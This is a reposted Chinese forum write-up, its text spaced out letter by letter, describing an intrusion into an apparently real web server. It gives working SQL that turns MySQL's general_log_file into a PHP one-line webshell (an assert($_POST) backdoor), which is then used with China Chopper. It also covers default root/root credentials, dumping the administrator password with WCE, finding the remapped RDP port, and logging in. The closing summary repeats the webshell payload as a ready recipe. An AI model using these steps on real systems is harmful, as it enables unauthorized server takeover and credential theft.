搜索

[20879] 2017-08-29_[【转载】]Mysqlroot账号general_log_file方法获取webshell

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2017-08-29_[【转载】]Mysqlroot账号general_log_file方法获取webshell [ 【 转 载 】 ]   M y s q l   r o o t 账 号 g e n e r a l _ l o g _ f i l e 方 法 获 取 w e b s h e l l L e m o n S e c   2 0 1 7 - 0 8 - 2 9 M y s q l   r o o t 账 号 g e n e r a l _ l o g _ f i l e 方 法 获 取 w e b s h e l l   b y         在 前 面 的 p h p m y a d m i n 漏 洞 利 用 专 题 中 介 绍 了 如 何 通 过 r o o t 账 号 来 获 取 w e b s h e l l ， 但 在 现 实 情 况 中 ， 由 于 M y s q l 版 本 较 高 以 及 配 置 文 件 的 缘 故 ， 往 往 无 法 直 接 通 过 r o o t 账 号 写 入 网 站 真 实 路 径 下 获 取 w e b s h e l l ； 通 过 研 究 发 现 其 实 可 以 通 过 一 些 方 法 绕 过 ， 同 样 可 以 获 取 w e b s h e l l ， 下 面 将 整 个 渗 透 过 程 和 方 法 跟 大 家 分 享 。 1 . 信 息 收 集       目 标 站 点 访 问 其 子 域 名 ， 如 图 1 所 示 ， 发 现 该 站 点 是 使 用 p h p S t u d y 2 0 1 4 搭 建 的 ， 通 过 p h p i n f o 信 息 泄 露 ， 可 以 获 取 网 站 的 绝 对 路 径 “ D : / p h p S t u d y / W W W ” ， 服 务 器 为 W i n d o w s   S e r v e r   2 0 0 3   ， p h p s t u d y 探 针 文 件 “ D : / p h p S t u d y / W W W / l . p h p ” 。 图 1 获 取 网 站 真 实 路 劲 等 信 息 2 . 获 取 r o o t 账 号 和 密 码       p h p S t u d y 默 认 账 号 为 r o o t / r o o t ， 使 用 其 进 行 登 录 ， 成 功 登 录 系 统 ， 如 果 不 是 这 个 账 号 和 密 码 ， 可 以 使 用 p h p m y a d m i n 暴 力 破 解 工 具 进 行 暴 力 破 解 ， 如 图 2 所 示 ， 登 录 后 看 目 前 使 用 的 数 据 应 该 是 w w w 数 据 库 。 查 看 m y s q l 数 据 库 中 的 u s e r 表 中 的 数 据 ， 如 图 3 所 示 ， 清 一 色 的 相 同 密 码 。
图 2 获 取 r o o t 账 号 和 密 码 图 3   m y s q l 数 据 库 u s e r 表 多 个 账 号 使 用 相 同 密 码 3 . 直 接 导 出 w e b s h e l l 失 败       既 然 知 道 了 网 站 真 实 路 径 “ D : / p h p S t u d y / W W W ” 和 r o o t 账 号 ， 最 简 单 的 方 法 就 是 直 接 导 出 w e b s h e l l ： s e l e c t   ' < ? p h p @ e v a l ( $ _ P O S T [ c m d ] ) ; ? > ' I N T O   O U T F I L E   ' D : / p h p S t u d y / W W W / c m d . p h p ' ， 如 图 4 所 示 ， 在 以 往 是 顺 利 成 章 的 获 取 w e b s h e l l ， 但 这 次 显 示 错 误 信 息 ： T h e   M y S Q L   s e r v e r   i s   r u n n i n g   w i t h   t h e   - - s e c u r e - f i l e - p r i v   o p t i o n   s o   i t   c a n n o t   e x e c u t e   t h i s   s t a t e m e n t 意 思 是 M y s q l 服 务 器 运 行 “ - - s e c u r e - f i l e - p r i v ” 选 项 ， 所 以 不 能 执 行 这 个 语 句 。
图 4 导 出 w e b s h e l l 失 败 4 .   s e c u r e _ f i l e _ p r i v 选 项       在 m y s q l 中 使 用 s e c u r e _ f i l e _ p r i v 配 置 项 来 完 成 对 数 据 导 入 导 出 的 限 制 ， 前 面 的 w e b s h e l l 导 出 就 是 如 此 ， 在 实 际 中 常 常 使 用 语 句 来 导 出 数 据 表 内 容 ， 例 如 把 m y d a t a . u s e r 表 的 数 据 导 出 来 ： s e l e c t   *   f r o m   m y d a t a . u s e r   i n t o   o u t f i l e   ' / h o m e / m y s q l / u s e r . t x t ' ; 在 m y s q l 的 官 方 给 出 了 “ - - s e c u r e - f i l e - p r i v = n a m e   L i m i t   L O A D   D A T A ,   S E L E C T   . . .   O U T F I L E ,   a n d   L O A D _ F I L E ( )   t o   f i l e s   w i t h i n   s p e c i f i e d d i r e c t o r y ” 解 释 ， 限 制 导 出 导 入 文 件 到 指 定 目 录 ， 其 具 体 用 法 ： （ 1 ） 限 制 m y s q l d 不 允 许 导 入 和 导 出 　 　 　     m y s q l d   - - s e c u r e _ f i l e _ p r i v e = n u l l （ 2 ） 限 制 m y s q l d 的 导 入 和 导 出 只 能 发 生 在 / t m p / 目 录 下 　 　 　     m y s q l d   - - s e c u r e _ f i l e _ p r i v = / t m p / （ 3 ） 不 对 m y s q l d   的 导 入 和 导 出 做 限 制 ， 在 / e t c / m y . c n f 文 件 中 不 指 定 值 。 5 . 通 过 g e n e r a l _ l o g 和 g e n e r a l _ l o g _ f i l e 来 获 取 w e b s h e l l       m y s q l 打 开 g e n e r a l   l o g 之 后 ， 所 有 的 查 询 语 句 都 可 以 在 g e n e r a l   l o g 文 件 中 以 可 读 的 方 式 得 到 ， 但 是 这 样 g e n e r a l   l o g 文 件 会 非 常 大 ， 所 以 默 认 都 是 关 闭 的 。 有 的 时 候 为 了 查 错 等 原 因 ， 还 是 需 要 暂 时 打 开 g e n e r a l   l o g 的 。 换 句 话 说 g e n e r a l _ l o g _ f i l e 会 记 录 所 有 的 查 询 语 句 ， 以 原 始 的 状 态 来 显 示 ， 如 果 将 g e n e r a l _ l o g 开 关 打 开 ， g e n e r a l _ l o g _ f i l e 设 置 为 一 个 p h p 文 件 ， 则 查 询 的 操 作 将 会 全 部 写 入 到 g e n e r a l _ l o g _ f i l e 指 定 的 文 件 ， 通 过 访 问 g e n e r a l _ l o g _ f i l e 指 定 的 文 件 来 获 取 w e b s h e l l 。 在 m y s q l 中 执 行 查 询 ： s e t   g l o b a l   g e n e r a l _ l o g = ' o n ' ; S E T   g l o b a l   g e n e r a l _ l o g _ f i l e = ' D : / p h p S t u d y / W W W / c m d . p h p ' ; S E L E C T   ' < ? p h p   a s s e r t ( $ _ P O S T [ " c m d " ] ) ; ? > ' ;       如 图 5 ， 图 6 和 图 7 所 示 ， 分 别 打 开 g e n e r a l _ l o g 开 关 ， 设 置 g e n e r a l _ l o g _ f i l e 文 件 ， 执 行 查 询 。 图 5 打 开 g e n e r a l _ l o g 开 关
图 6 设 置 g e n e r a l _ l o g _ f i l e 文 件 图 7 执 行 w e b s h e l l 查 询 6 . 获 取 w e b s h e l l       在 浏 览 器 中 打 开 地 址 h t t p : / / * * * * * * . h y * * * * * * . c n / c m d . p h p ， 如 图 8 所 示 ， 会 显 示 m y s q l 查 询 的 一 些 信 息 ， 由 于 一 句 话 后 门 通 过 查 询 写 入 了 日 志 文 件 c m d . p h p ， 因 此 通 过 中 国 菜 刀 一 句 话 后 门 可 以 成 功 获 取 w e b s h e l l ， 如 图 9 所 示 。 图 8 查 看 文 件
图 9 获 取 w e b s h e l l 7 . 服 务 器 密 码 获 取     （ 1 ） 查 看 服 务 器 权 限 及 用 户 权 限     通 过 中 国 菜 刀 一 句 话 后 门 管 理 工 具 ， 打 开 远 程 终 端 命 令 执 行 ， 如 图 1 0 所 示 ， 分 别 执 行 “ w h o m a i ” 、 “ n e t   u s e r ” 、 “ n e t   l o c a l g r o u p a d m i n i s t r a t o r ” 命 令 来 查 看 当 前 用 户 的 权 限 ， 当 前 系 统 所 有 用 户 ， 管 理 员 用 户 情 况 。 图 1 0 查 看 当 前 用 户 权 限 （ 2 ） 上 传 w c e 密 码 获 取 工 具         直 接 执 行 g 8 6 . e x e 顺 利 获 取 管 理 员 密 码 ， 如 图 1 1 所 示 ， 开 始 执 行 g 6 4 . e x e 没 有 成 功 是 因 为 系 统 是 3 2 位 操 作 系 统 。
图 1 1 获 取 管 理 员 密 码 8 . 获 取 远 程 终 端 端 口     通 过 命 令   t a s k l i s t   / s v c   |   f i n d   " T e r m S e r v i c e " 及 n e t s t a t   - a n o   |   f i n d   " 1 7 9 2 "   命 令 来 获 取 当 前 的 3 3 8 9 端 口 为 8 3 6 9 端 口 ， t a s k l i s t   / s v c   |   f i n d " T e r m S e r v i c e " 获 取 的 是 远 程 终 端 服 务 对 应 的 进 程 号 ， n e t s t a t   - a n o   |   f i n d   " 1 7 9 2 " 查 看 进 程 号 1 7 9 2 所 对 应 的 端 口 ， 在 实 际 过 程 中 1 7 9 2 值 会 有 变 化 。 图 1 2 获 取 3 3 8 9 端 口 9 . 登 录 3 3 8 9     打 开 m s t s c ， 在 连 接 地 址 中 输 入 2 0 2 . 5 8 . * * * . * * * : 8 3 6 9 ， 输 入 获 取 的 管 理 员 和 密 码 进 行 登 录 ， 如 图 1 3 所 示 ， 成 功 登 录 服 务 器 。 图 1 3 登 录 3 3 8 9 1 0 . 总 结 （ 1 ） 查 看 g e n e r a 文 件 配 置 情 况 s h o w   g l o b a l   v a r i a b l e s   l i k e   " % g e n e r a % " ; （ 2 ） 关 闭 g e n e r a l _ l o g
s e t   g l o b a l   g e n e r a l _ l o g = o f f ; （ 3 ） 通 过 g e n e r a l _ l o g 选 项 来 获 取 w e b s h e l l s e t   g l o b a l   g e n e r a l _ l o g = ' o n ' ; S E T   g l o b a l   g e n e r a l _ l o g _ f i l e = ' D : / p h p S t u d y / W W W / c m d . p h p ' ; S E L E C T   ' < ? p h p   a s s e r t ( $ _ P O S T [ " c m d " ] ) ; ? > ' ;
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理